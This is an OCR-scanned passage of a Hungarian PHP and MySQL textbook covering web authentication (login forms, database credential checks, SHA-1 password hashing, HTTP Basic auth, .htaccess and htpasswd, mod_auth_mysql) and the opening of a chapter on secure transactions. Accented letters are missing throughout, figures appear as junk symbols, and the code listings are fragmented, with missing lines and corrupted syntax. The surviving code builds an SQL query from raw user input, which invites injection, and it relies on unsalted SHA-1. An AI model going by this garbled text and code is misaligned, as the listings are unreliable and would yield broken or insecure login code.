Az internetfelhasznlk szmra elnys lehet, hogy a bngszik ltal megadott informcik nem alkalmasak azonost
sukra. Ha tudni szeretnnk valamelyik ltogatnk nevt vagy egyb adatt, meg kell krdeznnk tle.
Sok weboldal igen hathats eszkzkkel knyszerti a felhasznlkat szemlyes adataik megadsra. A New York Times
jsg (http:/ /www.nytimes.com) tartalma ingyenesen elrhet, de csak azon ltogatknak, akik hajlandk megadni olyan ada
raikar, mint a nevk, a nemle s a hztartsuk teljes jvedelme. A Slashdot nev hr- s frumoldalon (htrp:/ /www.slashdot.
org) csak a regisztrlt felhasznlk rhatnak bejegyzseket, k viszont testre szabhatjk sajt maguk szmra az oldal fellett.
A legtbb e-kereskedelmi oldal az els rendelsnl elkri s eltrolja a vsrlk adatait. Ez azr jelenti, hogy nem szksges min
mondja magr.
266
17.fezet
Az e-kereskedelem biztonsgi krdsei cm fejezetben szba kerlt, hogy hitelestsnek (authentication) nevezzk azt, ami
kor felkrjk a felhasznlt szemlyazonossga bizonytsra. A hitelests weboldalakon hasznlt ltalnos mdszere az, ha
a felhasznl megadja egyedi felhasznli nevt s jelszavt.A hitelesrst jellemzen arra hasznljuk, hogy hozzfrst adjunk
adott oldalakhoz vagy informciforrsokhoz, vagy ppen ellenkezleg: megtagadjuk a hozzfrst. A hitelests lehet opcion
lis, s hasznlhatjuk ms clokra, pldul tartalom testre szabsra (perszonalizlsra) is.
Hozzfrsszablyozs megvalstsa
Az egyszer hozzfrs-szablyozs knnyen megvalsthar.A 17.1 pldakdnak hrom kimenere lehetsges. Ha a fjl param
terek nlkl tltdik be, felhasznli nevet s jelszt kr HTML rlap jelenik meg.A 17.1 brn ilyen tpus rlapot ltunk.
tlf
......,_
lttool
.,..,..,..
crftu--_ -
_
.. '""'
- ,
_
-
- - ---- ---___
_
Krjk, jelentkezzen be
F......ata-..-
-=======:-::
!.W=.:-::.::::_
Ha a paramtereket megadjk ugyan, de nem helyesen, a kd hibazenetet jelent meg. A 17.2 brn a hibazenette ltunk pldt.
M
......-
....
.......,.,.
-w
;, -- ----.-.----
Krjk, tvozzon!
17.2 bra: Ha a felhasznl nem megfelel adatokat ad meg, hibazenetet jelentnk meg.
Egy igazi oldalon ennl azrt bartsgosabb zenetet rdemes hasznlni.
Ha a megadott paramterek helyesek, megjelenik a titkos tartalom. A 17.3 brn az ilyen tpus tartalomra ltunk pldt.
17
Tessk!
267
A 17.1, 17.2 s 17.3 brn Jrhat funkcionalitst megvalst kd a 17.1 pldakdban Jrhat.
17.1 pldakd: ti t kos. php-Egyszer hitelestsi mechanizmust biztost PHP s HTML kd
<?php
//rvid nevek ltrehozsa a vltozknak
$nev = $_POST['nev'];
$jelszo = $ POST['jelszo'];
if ((1isset($nev))
l l
(!isset($jelszo)))
<hl>Krjk,
jelentkezzen be!</hl>
hogy rl,
else
tvozzon!</hl>
?>
A 17.1 pldakd egyszer hitelestsi mechanizmust valst meg, amely lehetv teszi, hogy csak az arra jogosult felhasznJk tekintsk meg az adott oldalt. Ez a kd mindazonltal nhny komoly problmt is felvet:
A kd a felhasznli nevet s a jelszt is tartalmazza
Egyszer szvegknt trolja a jelszt
Egyetlen oldalt vd
Egyszer szvegknt kldi el a jelszt
Ezeket a problmkat nmi erfeszts rn sikeresen kezdhetjk.
Jelszavak trolsa
Szmtalan alkalmasabb hely knlkozik a felhasznli nevek s jelszavak trolsra, mint egyszeren a kd belsejbe rni ket.
Egyrszt a kdon bell nem egyszeren mdosrhatk az adatok. Technikailag lehetsges, de nem clszer sajt magt mdo
st kdot rni. Ha gy tesznk, vgeredmnyben olyan kdot helyeznk kiszolglnkra, amely a kiszolgln fut, de msok is
rhatjk vagy mdosrhatjk. Ha az adatokat msik fjlban troljuk a szerveren, sokkal knnyebben rhatunk programot a fel
hasznJk ltrehozsra s eltvoltsra, illetve a jelszavak megvltoztatsra.
Amennyiben az adatokat a kdban vagy egy msik adatfjlban troljuk, a kd futsi sebessgnek jelents lelassulsa nlkl
csak korltozott szm felhasznlt tudunk kezelni. Ha nagyobb mennyisg adatot kvnunk fjlban trolni s abban keresni,
rdemes inkbb adatbzist hasznlni. klszablyknt elmondhat, hogy ha szznl tbb elembl ll listt akarunk trolni s
abban keresni, akkor egyszer fjl helyett adatbzist kell hasznlni.
A felhasznli nevek s jelszavak adatbzisban trolsa nem teszi rzkelheten bonyolultabb a kdot, viszont a felhasz
nJk sokkal gyorsabb hitelestst teszi lehetv. Ebben az esetben egyszeren megrhatjuk az j felhasznlkat hozzad,
a meglv felhasznlkat trl, illetve a felhasznli jelszavak mdostst lehetv tev kdot.
A 17.2 pldakdban az oldal ltogatit adatbzis segtsgvel hitelest kdot lthatunk.
17
268
17.fezet
17.2 pldakd: tit kos_adatbazis. php-A MySQL hasznlatval tovbbfejlesztett, egyszer hitelestsi mechanizmus
<?php
$nev = $_POST['nev'];
$jelszo
$ POST['Jelszo'];
l l
if ((!isset($nev}}
( 1 isset($jelszo}}}
<hl>Krjk,
jelentkezzen be'</hl>
<?php
else
ll csatlakozs mysql-hez
$mysql = mysqli connect("localhost",
"webeshitelesites",
"webeshitelesites"};
if (!$mysql}
echo "Nem sikerlt csatlakozni az adatbzishoz.";
exit;
"hitelesites"};
$eredmeny = mysqli_query($mysql,
if(!$eredmeny}
$lekerdezes};
17
Sctarab = $sor[O];
if ($darab > 0}
hogy rl,
else
tvozzon!</hl>
269
?>
Az itt hasznlt adatbzis ltrehozshoz csatlakozzunk a MySQL-hez root felhasznlknt, s futtassuk a 17.3 pldakd
tartalmr!
17.3 pldakd: hitelesi tesi _adatbazis _letrehozasa. sql- Ezek a MySQL lekrdezsek hozzk ltre a hitelesites
DATABASE hitelesites;
USE hitelesites;
CREATE
TABLE
KEY
(nev}
);
INTO jogosult
INSERT
felhasznalek
VALUES ('teszt_felhasznalo',
PRIVILEGES;
Jelszavak titkostsa
Akr adatbzisban, akr sima fjlban rizzk az adatokat, a jelszavak egyszer szvegknt trolsval szksgtelen kock
zatnak tesszk ki magunkat. Egyirny hash algoritmussal minimlis tbbleterfesztssel rhetnk el magasabb szint
biztonsgot.
PHP-ben szmos egyirny hash fggvny elrhet. A legrgebbi s a legkevsb biztonsgos a crypt () fggvny ltal
knlt Unix Crypt algoritmus. Az md5( ) fggvny ltal megvalstott Message Digest 5 (MDS) algoritmus ennl ersebb.
Mg ersebb ugyanakkor a S ecure Hash Algorithm l (SHA-1) nev algoritmus. Az shal () PHP fggvny ers, egyirny
kriptogrfiai hash fggvny. Prototpusa a kvetkez:
string shal ( string str
[,
bool nyers_kimenet])
Ha adott az str karakterlnc, a fggvny egy pszeudo-vletlenszer, 40 karakteres sztringet ad vissza. Amennyiben
a nyers_kimenet paramtert true-ra, azaz igazra lltjuk, 20 karakteres binris karakterlncot kapunk helyette. Legyen
adott pldul a" jelszo" karakterlnc: az shal () fggvny ekkor a" 5baa6le4c9b93f3f0682250b6cf833lb7ee68
fdB"
sztringet adja vissza. Ezr nem lehet visszafejteni, mg az sem tudja "jelszo"-v visszaalakitani, aki ltrehozta, gy els
rnzsre nem sok rtelme van ennek az egsznek. Az shal () fggvny hasznossgt az adja, hogy kimenere egyrtelm (de
terminisztikus). Ha ugyanazt a karakterlncot adjuk neki, az shal () mindig ugyanazt az eredmnyt fogja visszaadni.
Az ilyen PHP kd helyett:
if (($nev == 'felhasznaloi_nev')
($jelszo == 'jelszo')}
//OK,
&&
a jelszavak egyeznek
a jelszavak egyeznek
Nem szksges tisztban lennnk azzal, hogyan nzett ki a jelsz az shal () fggvny alkalmazsa eltt. Csak arrl kell
meggyzdnnk, hogy az shal () fggvnyt a begpelt s az eredeti jelszra alkalmazva ugyanazokat a kimeneteket kapjuk-e.
17
270
17. fejezet
Ahogy korbban mr emltettk, az elfogadhat felhasznli neveket s jelszavakat nem ,Ynlott kzveclenl a kdba berni.
Trolsukra hasznljunk inkbb kln fjlt vagy adatbzist!
Amennyiben MySQL adatbzisban troljuk a hitelestshez szksges adatokat, az shal ( ) PHP fggvnyt vagy az
SHAl () MySQL fggvnyt egyarnt hasznlhatjuk. A MySQL mg a PHP-nl is tbbfle hash algoritmust knl, m ezek
'''.$nev.'''
and
jelsze = shal('".$jelszo."')
A fenti lekrdezs megszmolja a jogosul t_felhasznalok nev tbla azon sorait, amelyeknek a nev rtke a $nev
vltoz tartalmval, a jelsza rtke pedig a$jelszo tartalmra alkalmazott SHAl() fggvny ltal visszaadott rtkkel egye
zik meg. Amennyiben csak egyedi felhasznli neveket lehet vlasztani, a lekrdezs eredmnye csak O
vagy l lehet.
Ne feledjk, hogy a hash fggvnyek ltalban rgztett mret adatot adnak vissza! Az SH1 fggvny esetn ez egy 40
karakteres sztring. Gondoskocljunk rla, hogy az adatbzis oszlopai fogadni tudjk az ekkora adatokat!
A 17.3 pldakdra visszatekintve lthatjuk, hogy a kt lehetsges megkzeltst illusztrland ltrehozrunk egy felhasznlt
(' felhasznaloi _nev') nem titkostott, egy msikat ('teszt_ felhasznala'
Ez a megkzelts is felvet azonban nhny problmt. Mivel az adatok a felhasznlknak kldtt oldalakba s az ltaluk
felkeresett URL-ekbe illesztdnnek be, az ltaluk megltogatott vdett oldalakat brki megteknthetn, ha ugyanazon a gpen
visszalpkedne a gyorsttrazort oldalakon, vagy megnzn a bngszsi elzmnyeket. Mivel minden egyes lekrt s megje
lentett oldal esetn oda-vissza kldzgetjk a bngsznek a jelszt, ezt a bizalmas informcit a szksgesnl gyakrabban
vagyunk knytelenek tovbbtani.
Kt j mdszer ltezik a kt problma kezelsre: a HTTP alapszint hitelestsi funkcija s a munkamenetek (session) hasz
nlata. Az alapszint hitelests megoldja a gyorsttrazs problmjt, m a bngsz a jelszt tovbbra is minden egyes krsnl
elkldi a kiszolglnak. A munkarnenet-vezrls (session control) mindkt problmra megoldst knl. A HTTP alapszint hitele
stsvel a kvetkezkben foglalkozunk, a munkarnenet-vezrlst pedig a 23., majd rszletesebben a 27. fejezetben mutatjuk be.
17
Az alapszint hitelests egyszer szvegknt kldi a felhasznl nevt s jelszavr, gy nem tlsgosan biztonsgos.
A HTTP 1.1 az ennl biztonsgosabb kivonatos hitelests (digest authentication) nev mdszert knlja, amely a tranzakci
rszleteit hash algoritmussal (ltalban az MD5-tel) rejti el a kvnesi szemek ell. A kivonatos hitelesrst szmos webszerver
s a bngszk jabb verzii tmogatjk. Mindazonltal igen sok olyan, rgebbi bngsz van mg hasznlatban, amely nem
tmogatja ezt a hitelestsi mdszert, s a Microsoft Internet Explorer s az Internet Information Server is a kivonatos hireles
rs olyan verzijt tartalmazza, amely nem kompatibilis a nem Microsoft-termkekkel.
Tl azon, hogy egyes bngszk nem megfelelen tmogatjk, a kivonatos hitelests egy msik problmja, hogy mg ez
sem kellen biztonsgos. Az alapszint s a kivonatos hitelests is alacsony fok biztonsgot nyjt. Egyik sem tuclja garantlni
a
felhasznlnak, hogy azzal a gppel kommunikl, amit ppen elrni kvn. Mindkett lehetv teszi a crackereknek, hogy
jra lejtsszk a kiszolglnak ugyanazt a krst. Mivel az alapszint hitelests egyszer szvegknt tovbbtja a felhasznli
jelszavakat, a csomagokat megszerezni kpes cracker a felhasznl brbe bjva brmilyen krst intzhet a kiszolglhoz.
Az alapszint hitelests ppolyan (alacsony) fok biztonsgot nyjt, mint a jelszavakat szintn egyszer szvegknt to
vbbt telnetes vagy FTP-s csadakozsok. A kivonatos hitelests valamivel biztonsgosabb, mivel tovbbts eltt titkosrja
a jelszavakat.
Ha SS L-lel s digitlis tanstvnyokkal tvzzk az alapszint hitelests t, akkor a webes tranzakci minden rszt
kellkppen vcljk. Ha ers biztonsgi szintre van ignynk, olvassuk el a Biztonsgos tranzakcik megvalstsa PHP-vel s
MySQL-lel cm 18. fejezetet! Ennek ellenre sok esetben elegend lehet egy olyan gyors, m viszonylag kevss biztonsgos
mdszer is, mint az alapszint hitelests.
Az alapszint hitelests egy megnevezett tartomnyt (realm) vd, s rvnyes felhasznli nv s jelsz megadsra kny
szerti a felhasznlkat. A tartomnyok megnevezse gy trtnik, hogy ugyanazon a kiszolgln egynl tbb tartomny is
kialakrhat. Ugyanazon szerver klnbz fjljai vagy knyvrrai eltr rartomnyokba tartozharnak, amelyek mindegyikt
klnbz felhasznli nevek s jelszavak vdik. Az elnevezett tartomnyokkal ugyanakkor egyeden tartomnyknt csoporto
srhatjuk az ugyanazon a gpen vagy virtulis gpen lv knyvtrakat, s egyeden jelszval vdherjk ket.
vltozkra pl. Ahhoz, hogy ugyanaz a HTTP hitelestsi kd a PHP-t Apache-madulknt hasznl Apache szerveren vagy
ISAPI-modulknt hasznl IlS szerveren is fusson, rzkelnie kell a kiszolgl tpust, s kiszolgltl fggen kiss eltr
O,
if ((substr($_SERVER['SERVER_SOFTWARE'],
(!isset($_SERVER['PHP_AUTH_USER']))
(!isset($_SERVER['PHP_AUTH PW']))
9)
&&
&&
0,
(substr($ SERVER['HTTP_AUTHORIZATION'],
'Microsoft')
&&
6)
'Basic ')
list($SERVER['PHP_AUTH_USER'],
explode(' :',
$_SERVER['PHP_AUTH_PW']) =
base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'],
6)));
!= 'jelszo'))
ll
271
272
17. fejezet
ll
ll
header('WWW-Authenticate:
if (substr($
Basic realm="Realm-Name"');
SERVER['SERVER_SOFTWARE'],
header('llapot:
vagy nem
O,
9)
==
401
Jogosulatlan hozzfrs');
header('HTTP/1.0 401
Jogosulatlan hozzfrs');
else
'Microsoft')
echo "<hl>Krjk,
tvozzon!</hl>
else
ll
echo "<hl>Tessk!</hl>
<p>Fogadjunk,
hogy rl,
?>
A 17.4 pldakd a fejezet korbbi pldakdjaihoz hasonlan mkdik. Ha a felhasznl mg nem adta meg a hitelestshez
szksges adatokat, akkor bekri azokat. Hibs felhasznli nv-jelsz pros esetn a felhasznl a visszautastsrl kap zene
tet. Megfelel hitelestsi adatok megadsa esetn a felhasznl megtekintheti a kre oldal tartalmr.
Ebben az esetben azonban a felhasznl a korbbiaktl nmikppen eltr kezelfelletet lt. Ez a kd ugyanis nem jelent
meg HTML rlapot a bejelentkezsi adacoknak. A felhasznl bngszje az, ami egy prbeszdablakot nyit meg. Egyesek
szmra ez elny, msok jobban szeretik, ha teljes mctkben irnytsuk alatt tarthatjk a kezelfellet vizulis elemeit.
A Firefox ltal megjelentett prbeszdablakot a 17.4 brn lthatjuk.
Mivel a hitelestse a bngsz beptett funkcii segtik, bizonyos fokig a bngszn mlik, hogy miknt kezeli a sikertelen
hitelestsi ksrleteket. Az Internet Explorer pldul hrom hitelestsi ksrletet enged meg a felhasznlnak, s csak ezt k
veten jelenti meg az elutastsrl tjkoztat oldalt. Firefaxban akrhnyszor prblkozhat a felhasznl, az egyes ksrletek
kzte csupn az.,Authorization failed. Retry?'; azaz .. Sikercelen hitelests. Megprblja jra?" zenet jelenik meg. A Firefox
csak akkor jelenti meg az elutast oldalt, ha a felhasznl a.,Cancel" gombra kattint.
Ahogy a 17.1 s 17.2 pldakdok esetben, ezt a kdot beilleszthetjk minden vdeni kvnt oldalra, vagy automatikusan
hozzfzhetjk egy knyvtr sszes fjljnak elejhez.
17.4 bra: HTTP hitelests esetn ajelhasznl bngszje hatrozza meg a prbeszdablak megjelenst.
h t a c c ess fjljaival
A 17.4 pldakdhoz hasonl eredmnyeket PHP kd rsa nlkl is elrhetnk. Az Apache webszerver szmos olyan hiteles
tsi modult tartalmaz, amivel megllapthatjuk a felhasznl ltal megadott adatok valdisgt. Legegyszerbben amod_ auth
hasznlhat, amely egy, a kiszolgln callhat szveges fjl soraival hasonltja ssze a felhasznli nv-jelsz prosokat.
273
Az elz kdval megegyez eredmny elrshez kt klnll HTML fjlt kell ltrehoznunk: az egyik a tartalom oldala,
a
msik az elutasts. Az elzekben egyes HTML elemeket kihagytunk, de HTML ellltshoz rnylegesen hasznlni kell
<html>
s a <body> cmkket.
A tar talom.html nev 17.5 pldakd a jogosult felhasznJk ltal megtekinthet tarralmar llrja el. Az elutasitas.
htrnl
nev 17.6 pldakd az elutast oldal. Az elutasts esern megjelen oldalt nem ktelez elkszteni, de professzionlis
szemlleter tkrz, ha hasznos informcikat jelentnk meg rajra. Mivel ez az oldal akkor jelenik meg. amikor egy felhasznl
sikertelenl prbl meg bejelentkezni a vdert terletre, hasznos informci lehet, ha kzljk, hogyan rud regiszrrlni, illerve
mi a reendje elfelejtett jelsz esetn.
17.5 pldakd: tartalom. html - Mintatartalorn
<htrnl><body>
<hl>Tessk!</hl>
<p>Fogadjunk,
hogy rl,
</body></html>
tvozzon!</hl>
Ezekben a fjlokban semmi jdonsg nincs. Pldnk rdekessge a 17.7 pldakdban Ithar fjl. Ezt a fjlt . htaccess
knr kell elnevezni, s ez fogja szablyozni a knyvtrban lv fjlokhoz s alknyvtrakhoz val hozzfrst.
17.7 pldakd: . htaccess- Egy . htaccess fjl tbb Apache konfigurcis belltst szablyozhat, gy a hitelests aktivlst is
ErrorDocument 401
/l7_feJezet/elutasitas.html
AuthUserFile /horne/book/.htpass
AuthGroupFile /dev/null
AuthName
"Realm-Nev"
AuthType Basic
require
valid-user
htaccess
fjl, ami az adott knyvtrban bekapcsolja az alapszint hitelestsr. Sok bellts megad
hat egy . htaccess fjlban, de a pldban szerepl hat sor mind a hitelesrssei kapcsolatos.
Az els sor
ErrorDocument
azt
401 /l7_feJezet/elutasitas.html
kzli az Apache-csel, hogy rnilyen dokumentumot jelentsen meg sikertelen hitelests esern (HTTP 401-es hiba). Ms
ErrorDocument
direktvkkal sajt oldalakat lltharunk be az olyan hibkhoz is, mint pldul a 404-es. Az ehhez haszn
land szintaktika:
ErrorDocument hiba szarna
URL
A 401-es hibt kezel oldal esetben fontos, hogy a megadort URL nyilvnosan elrhet legyen. Nem sok rtelme lenne
testreszabort hibaoldalon kzlni az emberekkel, hogy hitelestsk sikertelen volt, ha ezt az oldalt olyan knyvrrba helyez
nnk, amit csak sikeres hitelests utn tekinthernek meg.
A msodik sor
AuthUserFile /home/book/.htpass
kzli az Apache-csel, hol tallja a jogosult felhasznJk jelszavait tartalmaz fjlt. Ennek ltalban . htpass a neve, de br
milyen, neknk tetsz mdon elnevezhetjk. Nem az a fontos, hogy hogyan hvjuk, hanem hogy hol troljuk. Nem szabad
a webknyvtrban
trolni- ott, ahol a webszerveren keres.zrl brki letltheti. A pldban hasznlt . htpass fjlt a 17.8
minrakdban ralljuk.
Nem csupn azt tehetjk meg. hogy meghatrozzuk a jogosult felhasznlkat, hanem azt is megmondhatjuk, hogy csak
meghatrozort csoportokba tartoz jogosult felhasznJk rhetik el az informciforrsokat. A pldban ezt nem tesszk,
ezrt az albbi sor:
17
274
17. fejezet
AuthGroupFile Idev/null
az AuthGroupFile-lal a /dev/null-ra mutat, ami Unix rendszerek esetben olyan klnleges fjl, amely garantltan res.
Ahogy a PHP-s pldban, a HTT P hitelests hasznlathoz itt is meg kell neveznnk a tartomnyt:
AuthName "Realrn-Nev"
Tetszleges tartomnynevet vlaszthatunk, de ne feledjk, hogy a nevet a ltogatk is ltni fogjk! Hogy nyilvnvalv te
gyk, hogy a pldban szerepl nevet meg kell vltoztarni, tartomnyunknak a "Realrn-Nev" nevet adtuk.
Mivel tbb klnbz hitelestsi mdszer is tmogatott, meg kell hatrozni, hogy melyiket kvnjuk hasznlni. Pldnkban
a Basic, vagyis alapszint hitelestssei dolgozunk, ahogy ez az tdik sorbl is kiderl:
AuthType Basic
Azt is meg kell hatroznunk, hogy kinek engedlyezzk a hozzfrst. Megadhatunk konkrt felhasznlkat, konkrt cso
portokat vagy- mint ahogy a pldban is tettk- egyszeren minden hitelestett felhasznlnak hozzfrst adhatunk. Az
albbi sor:
require valid-user
felhasznalol:OnRp9M80GS7zM
felhasznalo2:nC13sOTOhp.ow
felhasznalo3:yjQMCPWjXFTzU
felhasznalo4:LOrnlMEi/hArne2
A . htpass fjl minden sorban egy felhasznli nevet, kettspontot s az adott felhasznli nvhez tartoz titkostott
jelszt tallunk. A . htpass pontos tartalma vltoz lesz. Ltrehozshoz egy htpasswd nev kis prograrnot hasznlunk,
amely az Apache disztribciban rnegrallhat.
A htpasswd prograrnot ktflekppen hasznlhatjuk:
htpasswd
[-crndps)
jelszofajl felhasznaloinev
vagy
htpasswd -b[crndps)
Egyetlen kapcsolt kell hasznlnunk, ez a -c.Hasznlatval kzljk a htpasswd-vel, hogy hozza ltre a fjlt. Az els
felhasznl hozzadsakor van szksge erre a kapcsolra. Figyeljnk, hogy a tbbi felhasznlnl mr ne hasznljuk, mert ha
a fjl mr ltezik, a htpasswd trli, s jat hoz ltre!
Az opcionlis rn, d, p s s kapcsolval a hasznlni kvnt titkostsi algoritmust (vagy a titkosts hinyt) hatrozhatjuk
meg.
A b kapcsal kzli a programmal, hogy a jelszt pramterknt vrja, ne pedig krje azt. Ez a funkci akkor hasznos, ha
nem interaktvan, ktegelt (batch) folyamat rszeknt kvnjuk meghvni a htpasswd programot, de ne hasznljuk, ha a pa
rancssorbl hvjuk meg!
Az albbi parancsok hoztk ltre a 17.8 pldakdban lthat fjlt:
htpasswd -be /horne/book/.htpass felhasznalal jelszal
htpasswd -b /horne/book/.htpass felhasznalo2 jelszo2
htpasswd -b /horne/book/.htpass felhasznalo3 jelszo3
htpasswd -b /horne/book/.htpass felhasznalo4 jelszo4
17
A htpasswd nem felttlenl tallhat meg elrsi tvonalunkon, ebben az esetben a teljes elrsi tjt meg kell adni. A leg
tbb rendszeren a /usr/local/apache/bin knyvtrban talljuk.
Az ilyen tpus hitelests knnyen bellthat, a .htaccess ilyetn hasznlata azonban felvet nhny problmt. A fel
hasznlkat s a jelszavakat szveges fjlban troljuk. Minden alkalommal, arnikor egy bngsz a . htaccess fjl ltal
vdett fjlt kr, a kiszolglnak fel kell dolgoznia a . htaccess fjlt, majd a jelszfjlt, megprblva sszeill felhasznli
nv s jelsz prost tallni. A . htaccess fjl hasznlata helyett a httpd. cont fjlban- vagyis webszervernk f konfi
gurcis fjljban- is meghatrozharnnk ugyanezeket. A . htaccess fjl rninden egyes fjlkrskor feldolgozsra kerl,
a httpd.conf fjl viszont csak a szerver elindulsakor. Ez a megkzelts gyorsabb ugyan, de azt jelenti, hogy brmilyen
vltoztatshoz le kell lltani, majd jra kell indtani a kszolglt.
Fggetlenl attl, hogy hol troljuk a szerverdirektvkat, a jelszfjlban minden egyes krsnl keresni kell. Ez azt jelenti,
hogy- minden ms, egyszer fjlt hasznl mdszerhez hasonlan- ez sem igazn alkalmazhat tbb szz vagy tbb ezer
felhasznl esetn.
275
Amod_auth_mysql
hasznlathoz a fggelkben lertak szerint telepteni kell az Apache-t s a MySQL-t, majd nhny
rovbbi lpst kell vgrehajtani. A dsztribci README s USAGE fjljaiban kell tjkoztatst kaphatunk, br ezek egyes
helyeken korbbi verzik mkdsre utalnak. lljon most itt egy rvid sszefoglals!
2. Csomagoljuk ki a forrskdot!
3. Vltsunk a
mod_auth_mysql
4. Annak rdekben, hogy a modul dnarnikusan tltdjn be az Apache-be, adjuk az albbi sort a httpd.conf-hoz:
LoadModule
mysql_auth_module
libexec/mod_auth_mysql.so
5. Hozzuk ltre MySQL-ben a hitelestsi informcikat tartalmaz adatbzist s tblt! Nem kell, hogy ez kln adatb
zis vagy tbla legyen, hasznlhatunk meglvt is, pldul a fejezet korbbi pldjban szerepl
hitelesites
adatbzist.
6. Adjuk hozz a httpd. conf fjlhoz az albbi sort, hogy megadjuk amod _auth_mysql szmra a MySQL-hez csat
lakozshoz szksges paramtereket! A direktva gy nz ki:
Auth_MySQL_Info
/usr/local/apache/bin/apachectl startssl
Ha a httpd. conf fjlban az Auth_MySQL_Info drektvval indul az Apache, akkor sikeresen hozzadtuk
amod_auth_mysql
modult.
pldakd olyan . htaccess fjlt tartalmaz, amely a fejezet korbbi rszben ltrehozott adatbzisban trolt, titkos
17.9 pldakd:
.htaccess-
fejezet/elutasitas.html
Auth_MySQL_DB hitelesites
Auth_MySQL_Encryption_Types MySQL
Auth_MySQL_Password_Table jogosult_felhasznalok
Auth_MySQL_Username_Field nev
Auth_MySQL_Password_Field jelsze
require valid-user
17
276
17. fezet
Lthat, hogy a 17.9 pldakd nagyrszt megegyezik a 17.7-essel. Itt is meghatrozzuk a 401-es hiba (sikertelen hitelests)
esetn megjelentend dokumentumot. Szintn az alapszint hitelestse vlasztj uk, s elnevezzk a tartomnyt. s akrcsak
a 17.7 pldakdban, itt is minden hitelestett felhasznl szmra megadott a hozzfrs.
Mivel mod_auth_mysql hitelesrst hasznlunk, s nem minden alaprtelmezett belltst kvntunk megtartani, di
rektvk segtsgvel mdostottuk a hitelests mkdst. Az Auth_MySQL_DB, az Auth _MySQL_Password _ Table, az
Auth_MySQL_Username _Field
Tovbbi olvasnival
A HTTP hitelestsrl rszletesen a http:/ /www.rfc-editor.org/rfc/rfc2617.txt cmen elrhet RFC 2617 ajnlsban
olvashatunk.
Az Apache-ben az alapszint hitelesrst szablyoz mod_auth dokumentcijt a http://httpd.apache.org/docs/2.0/
mod/mod_auth.html cmen rjk el.
Amod_auth_mysql
dokumentcijt a letlttt tmrtett llomnyban tallj uk. Mivel a letlts mrete nem nagy, mr
csak azrt is rdemes letlteni a tmrtett llomnyt s megnzni a readme fjlt, hogy tovbbi informcit szerezhessnk
errl a modulrl.
Hogyan tovbb
A kvetkez fejezetben azt mutatjuk be, hogyan rkdjnk adataink biztonsga felett a bevitel, a tovbbts s a trols sszes
rszfolyamata sorn. Ehhez szksg lesz az SSL, a digitlis tanstvnyok s a titkosts hasznlatra.
17
18
Biztonsgos tranzakcik vgrehajtsa
PHP vel s MySQL ... Iel
...
A fejezet sorn megtudhag uk, hogy kezeljk biztonsgosan a felhasznli adatokar bevicelk, tovbbtsuk s trolsuk sorn.
Ezzel megteremthetjk az oldalunk s a felhasznJk kzcci, celjes egszben biztonsgos tranzakci lehecsgt.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Biztonsgos tranzakcik megteremtse
A Secure Sockets Layer (SSL) protokoll hasznlata
Biztonsgos trols megvalsrsa
Hitelkrtyaszmok trolsa
Titkosts hasznlata PHP-ben
Web-
MySQL
szerver
motor
Trolt
oldalak
Adat-
MySQL
fjlok
adatok
18.1 bra: Egy tipikus webes alkalmazs jellemzen az albbi trol, feldolgoz elemekbl pl fel.
Rendszernk kialaktscl, illetve a cranzakcit kivlt felhasznli adatoktl s mveletekcl fggen a rendszernkben
elfordul tranzakcik rszletei eltrhecnek a fenti smtL Minden tranzakcit ugyangy rdemes megvizsglni. A webes
alkalmazs s a felhasznl kzrti sszes tranzakci azzal indul, hogy a felhasznl bngszje az interneten keresztl krst
intz a kiszolglhoz. Ha az oldal PHP kdban tallhat, a kiszolgl az oldal feldolgozst a PHP motorra bzza.
A PHP kd olvashaqa s lemezre rhatja az adatokat. Az include ( ) s a require ( ) urasrssal ms PHP s HTML
fjlokat is beilleszchet. Az SQL lekrdezseket elkldi a MySQL dmonnak, s fogadja az arrl rkez vlaszokat. A MySQL
motor felels a sajt adatainak olvassrt s lemezre rsrt.
278
18.
fejezet
A felhasznl gpe
Rendszernk szempontjbl a felhasznl gpe bngszt vagy bngszket futtat. Semmilyen rhatsunk nincsen az olyan
tnyezkre, mint pldul a gp biztonsgi belltsai. Gondolnunk kell arra is, hogy a gp esetleg egyltaln nem biztonsgos,
vagy lehet knyvtrban, iskolban, internetkvzban tallhat, megosztott terminl is.
Tbbfle bngsz ltezik, s mindegyik kiss eltr funkcikat s jellemzket knl. Ha csak a kt legnpszerbb bngsz
legfrissebb verziira gondolunk, akkor a kztk lv klnbsgek nagy rsze a HTML kd kezelsre s megjelentsre korl
tozdik, m neknk a biztonsgi s a funkcionlis krdsekkel is foglalkoznunk kell.
Ne feledjk, hogy egyes felhasznJk kikapcsoljk a szerintk biztonsgi vagy adatvdelmi kockzatokkal jr funkcikat,
pldul aJavt, a stiket vagy aJavaScriptet. Ha alkalmazsunk pt ezekre a funkcikra, akkor mindenkppen teszteljk, hogy
miknt mkdik az ezeket nem engedlyez felhasznlknl. Vagy mdegeijk egy kevsb funkcigazdag kezelfellet kiala
ktst, amellyel az ilyen vatos emberek is hasznlni tudjk oldal unkat.
Elfordulhat, hogy az Egyeslt llamokon s Kanadn kivli felhasznJk bngszje csak a 40 bites ritkosrst tmogatja.
Annak ellenre, hogy az amerikai kormnyzat 2000 janurjban trvnymdostssal engedlyezte az ersebb ritkosrsi md
szer exportlst (a nem embargs orszgokba), s a legtbb felhasznl szmra ma mt a 128 bites vltozatok is elrhetk,
nem biztos, hogy mindenki frisstette bngszjt. Webfejlesztknt mindazonltal nem szksges tlzottan aggdni e krds
miatt, kivve, ha oldalunk szvegben garantljuk a felhasznlknak a biztonsgot. Az SSL automatikusan egyeztet kiszolg
lnk s a felhasznl bngszje kztt, hogy a mindkett ltal kezelni kpes legmagasabb szint biztonsg mellett kommuni
kljanak egymssal.
Nem lehetnk biztosak benne, hogy az oldalunkhoz az ltalunk kivnt felleten keresztl kapcsold bngszvel foglalko
zunk. Az oldalunkhoz rkez krsek jhetnek a kpeket vagy a tartalmat ellop ms oldalrl vagy a biztonsgi intzkedseink
megkerlsre alkalmas szoftvert, pldul cURL-t hasznl szemlytL
A bngszktl rkez csatlakozsok szimullsra alkalmas cURL knyvtrral a Hlzati s protokollfggvnyek hasznlata
cm 20. fejezetben foglalkozunk majd. Fejlesztknt igen hasznos lehet szmunkra ez az eszkz, ugyanakkor rosszindulatan
is hasznlhat.
Ugyan a felhasznJk gpeinek belltsait nem tudjuk sem mdostani, sem szablyozni, figyelembe kell vennnk eze
ket a krdseket. A felhasznJk gpei kzrt lehetsges komoly klnbsgek befolysolhatjk, hogy milyen funkcikat te
